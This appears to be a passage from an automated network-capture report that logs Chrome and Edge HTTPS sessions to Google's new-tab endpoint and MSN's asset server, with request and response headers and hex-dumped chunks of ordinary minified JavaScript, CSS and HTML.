2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 4f 70 65 6e 7d 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 24 7b 74 3d 3e 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 2e 73 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 61 63 74 69 6f 6e 4d 65 6e 75 54 6f 6f 6c 54 69 70 7d 7d 22 20 64 61 74 61 2d 74 3d 22 24 7b 74 3d 3e 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 2e 61 63 74 69 6f 6e 4d 65 6e 75 54 65 6c 65 6d 65 74 72 79 54 61 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 7d 7d 22 20 74 69 74 6c 65 3d 22 24 7b 74 3d 3e 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 2e 73 74 Data Ascii: 00004000Open}" aria-label="${t=>{var e;return null===(e=t.strings)\|\|void 0===e?void 0:e.actionMenuToolTip}}" data-t="${t=>{var e;return null===(e=t.actionMenuTelemetryTag)\|\|void 0===e?void 0:e.getMetadataTag()}}" title="${t=>{var e;return null===(e=t.st
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 74 61 54 61 67 28 29 29 3f 3f 0d 0a Data Ascii: taTag())??
2024-04-23 21:02:24 UTC	9248	IN	Data Raw: 30 30 30 30 32 34 31 34 0d 0a 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 70 61 72 65 6e 74 54 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 2e 2e 2e 6e 75 6c 6c 3d 3d 3d 28 69 3d 74 68 69 73 2e 70 61 72 65 6e 74 54 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 63 6f 6e 74 72 61 63 74 2c 6e 61 6d 65 3a 22 70 69 6e 22 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 2c 74 68 69 73 2e 69 6e 66 6f 42 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 28 6e 75 6c 6c 3d 3d 66 3f 76 6f 69 64 20 30 3a 66 2e 69 6e 66 6f 42 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 Data Ascii: 00002414(null===(e=this.parentTelemetryObject)\|\|void 0===e?void 0:e.addOrUpdateChild({...null===(i=this.parentTelemetryObject)\|\|void 0===i?void 0:i.contract,name:"pin"}).getMetadataTag()),this.infoButtonTelemetryTag=(null==f?void 0:f.infoButtonTelemetry
2024-04-23 21:02:24 UTC	7257	IN	Data Raw: 30 30 30 30 31 43 34 44 0d 0a 7d 7d 29 3b 76 61 72 20 6f 3d 69 28 38 32 38 39 38 29 3b 76 61 72 20 6e 3d 69 28 34 39 32 31 38 29 2c 61 3d 69 28 38 39 31 35 30 29 3b 63 6f 6e 73 74 20 72 3d 6e 2e 64 79 60 3c 74 65 6d 70 6c 61 74 65 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 69 73 74 22 20 72 6f 6c 65 3d 22 74 61 62 6c 69 73 74 22 20 40 6b 65 79 64 6f 77 6e 3d 22 24 7b 28 74 2c 65 29 3d 3e 74 2e 68 61 6e 64 6c 65 54 61 62 4b 65 79 44 6f 77 6e 28 65 2e 65 76 65 6e 74 29 7d 22 3e 24 7b 28 30 2c 61 2e 72 78 29 28 28 74 3d 3e 74 2e 74 61 62 4c 69 73 74 49 74 65 6d 73 29 2c 6e 2e 64 79 60 3c 64 69 76 20 61 72 69 61 2d 73 65 6c 65 63 74 65 64 3d 22 24 7b 74 3d 3e 74 2e 69 73 41 63 74 69 76 65 7d 22 Data Ascii: 00001C4D}});var o=i(82898);var n=i(49218),a=i(89150);const r=n.dy`<template class="navigation"><div class="tablist" role="tablist" @keydown="${(t,e)=>t.handleTabKeyDown(e.event)}">${(0,a.rx)((t=>t.tabListItems),n.dy`<div aria-selected="${t=>t.isActive}"
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49867	172.253.124.104	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 21:02:24 UTC	1479	IN	HTTP/1.1 200 OK Version: 625470213 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Tue, 23 Apr 2024 21:02:24 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 32 39 39 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 52 61 20 67 62 5f 69 62 20 67 62 5f 55 64 20 67 62 5f 6f 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 299a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 30 33 64 5c 22 67 62 5f 4a 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 39 64 20 67 62 5f 4b 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4f 63 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03d\"gb_Jc\"\u003e\u003ca class\u003d\"gb_9d gb_Kc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Oc gb_6d\" aria-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 53 65 61 72 63 68 20 4c 61 62 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 6c 61 62 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 67 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 Data Ascii: aria-label\u003d\"Search Labs\" href\u003d\"https://labs.google.com/search?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_g\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 Data Ascii: 9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 31 33 30 30 31 30 32 2c 33 37 30 30 32 36 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 31 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 Data Ascii: u-content","metadata":{"bar_height":60,"experiment_id":[1300102,3700269,3700949,3701310],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var wi
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 63 7b 7d 3b 5f 2e 73 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 72 64 3b 7d 3b 5f 2e 74 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 73 64 28 5f 2e 57 63 2e 69 28 29 2c 61 29 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 7a 64 2c 49 64 2c 4b 64 3b 5f 2e 75 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6e 75 6c 6c 5c 75 30 30 33 64 5c 75 30 Data Ascii: c{};_.sd\u003dfunction(a,b){if(b in a.i)return a.i[b];throw new rd;};_.td\u003dfunction(a){return _.sd(_.Wc.i(),a)};\n}catch(e){_._DumpException(e)}\ntry{\n/\n\n SPDX-License-Identifier: Apache-2.0\n/\nvar zd,Id,Kd;_.ud\u003dfunction(a){if(null\u003d\u0
2024-04-23 21:02:24 UTC	1479	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 5f 2e 76 62 29 5c 75 30 30 32 36 5c 75 30 30 32 36 61 5b 5f 2e 76 62 5d 7c 7c 28 61 5b 5f 2e 76 62 5d 5c 75 30 30 33 64 2b 2b 49 64 29 7d 3b 4b 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 6e 75 6c 6c 2c 63 5c 75 30 30 33 64 5f 2e 71 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 69 66 28 21 63 7c 7c 21 63 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 62 3b 74 72 79 7b 62 5c 75 30 30 33 64 63 2e 63 72 Data Ascii: ;_.Jd\u003dfunction(a){return Object.prototype.hasOwnProperty.call(a,_.vb)\u0026\u0026a[_.vb]\|\|(a[_.vb]\u003d++Id)};Kd\u003dfunction(a){return a};_.Ld\u003dfunction(a){var b\u003dnull,c\u003d_.q.trustedTypes;if(!c\|\|!c.createPolicy)return b;try{b\u003dc.cr
2024-04-23 21:02:24 UTC	305	IN	Data Raw: 74 6f 53 74 72 69 6e 67 28 29 7d 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 57 64 28 5c 22 5c 22 2c 5f 2e 56 64 29 3b 5f 2e 59 64 5c 75 30 30 33 64 52 65 67 45 78 70 28 5c 22 5e 5b 2d 2b 2c 2e 5c 5c 5c 22 5c 75 30 30 32 37 25 5f 21 23 2f 20 61 2d 7a 41 2d 5a 30 2d 39 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 5d 2b 24 5c 22 29 3b 5f 2e 5a 64 5c 75 30 30 33 64 52 65 67 45 78 70 28 5c 22 5c 5c 5c 5c 62 28 75 72 6c 5c 5c 5c 5c 28 5b 20 5c 5c 74 5c 5c 6e 5d 2a 29 28 5c 75 30 30 32 37 5b 20 2d 5c 75 30 30 32 36 28 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 5c 75 30 30 32 37 7c 5c 5c 5c 22 5b 20 21 23 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 5c 5c 5c 22 7c 5b 21 23 2d 5c 75 30 30 32 36 2a 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 29 28 5b 20 5c 5c 74 5c Data Ascii: toString()}};_.Xd\u003dnew _.Wd(\"\",_.Vd);_.Yd\u003dRegExp(\"^[-+,.\\\"\u0027%_!#/ a-zA-Z0-9\\\\[\\\\]]+$\");_.Zd\u003dRegExp(\"\\\\b(url\\\\([ \\t\\n])(\u0027[ -\u0026(-\\\\[\\\\]-~]\u0027\|\\\"[ !#-\\\\[\\\\]-~]\\\"\|[!#-\u0026-\\\\[\\\\]-~]*)([ \\t\
2024-04-23 21:02:24 UTC	229	IN	Data Raw: 64 66 0d 0a 63 7c 63 75 62 69 63 2d 62 65 7a 69 65 72 7c 66 69 74 2d 63 6f 6e 74 65 6e 74 7c 68 73 6c 7c 68 73 6c 61 7c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 7c 6d 61 74 72 69 78 7c 6d 69 6e 6d 61 78 7c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 7c 72 65 70 65 61 74 7c 72 67 62 7c 72 67 62 61 7c 28 72 6f 74 61 74 65 7c 73 63 61 6c 65 7c 74 72 61 6e 73 6c 61 74 65 29 28 58 7c 59 7c 5a 7c 33 64 29 3f 7c 73 74 65 70 73 7c 76 61 72 29 5c 5c 5c 5c 28 5b 2d 2b 2a 2f 30 2d 39 61 2d 7a 41 2d 5a 2e 25 23 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2c 20 5d 2b 5c 5c 5c 5c 29 5c 22 2c 5c 22 67 5c 22 29 3b 76 61 72 20 61 65 3b 61 65 5c 75 30 30 33 64 7b 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 0d 0a Data Ascii: dfc\|cubic-bezier\|fit-content\|hsl\|hsla\|linear-gradient\|matrix\|minmax\|radial-gradient\|repeat\|rgb\|rgba\|(rotate\|scale\|translate)(X\|Y\|Z\|3d)?\|steps\|var)\\\$[-+*/0-9a-zA-Z.%#\\\\[\\\\], ]+\\\$\",\"g\");var ae;ae\u003d{};_.ce\u003d
2024-04-23 21:02:24 UTC	1255	IN	Data Raw: 38 30 30 30 0d 0a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 62 65 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5f 2e 62 65 3f 61 2e 69 3a 5c 22 74 79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 48 74 6d 6c 5c 22 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 50 64 28 29 3b 61 5c 75 30 30 33 64 62 3f 62 2e 63 72 65 61 74 65 48 54 4d 4c 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 62 65 28 61 2c 61 65 29 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 Data Ascii: 8000function(a){return a instanceof _.be\u0026\u0026a.constructor\u003d\u003d\u003d_.be?a.i:\"type_error:SafeHtml\"};_.de\u003dfunction(a){const b\u003d_.Pd();a\u003db?b.createHTML(a):a;return new _.be(a,ae)};_.be\u003dclass{constructor(a){this.i\u003da

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49868	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/libs_core_dist_interaction-tracker_MouseTracker_js-libs_weather-shared-wc_dist_utilities_entr-072035.11606a415b7b5f44447f.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: OglO/PTneM+WrPgnyDctzQ== Last-Modified: Fri, 19 Apr 2024 19:35:49 GMT ETag: 0x8DC60A7EAF36268 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 847e6316-801e-0103-6b90-924864000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747468,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801704c Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.1801704c Vary: Origin
2024-04-23 21:02:24 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 63 6f 72 65 5f 64 69 73 74 5f 69 6e 74 65 72 61 63 74 69 6f 6e 2d 74 72 61 63 6b 65 72 5f 4d 6f 75 73 65 54 72 61 63 6b 65 72 5f 6a 73 2d 6c 69 62 73 5f 77 65 61 74 68 65 72 2d 73 68 61 72 65 64 2d 77 63 5f 64 69 73 74 5f 75 74 69 6c 69 74 69 65 73 5f 65 6e 74 72 2d 30 37 32 30 33 35 22 5d 2c 7b 32 31 31 32 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 61 2e 64 28 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_core_dist_interaction-tracker_MouseTracker_js-libs_weather-shared-wc_dist_utilities_entr-072035"],{21126:function(e,t,a){a.d(
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 61 72 79 2d 74 77 6f 6c 69 6e 65 7b 7a 2d 69 6e 64 65 78 3a 32 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 2e 73 75 6d 6d 61 72 79 2d 74 77 6f 6c 69 6e 65 3a 68 6f 76 65 72 2c 2e 73 75 6d 6d 61 72 79 2d 74 77 6f 6c 69 6e 65 3a 61 63 74 69 76 65 2c 2e 73 75 6d 6d 61 72 79 2d 74 77 6f 6c 69 6e 65 3a 24 7b 6d 2e 62 7d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 71 69 2d 73 75 6d 6d 61 72 79 2d 74 77 6f 6c 69 6e 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 65 61 74 68 65 72 2d 63 75 72 72 65 6e 74 2d 63 Data Ascii: ary-twoline{z-index:2;text-transform:none}.summary-twoline:hover,.summary-twoline:active,.summary-twoline:${m.b}{text-decoration:underline;outline:none !important}.aqi-summary-twoline{font-weight:400 !important;font-size:12px !important}.weather-current-c
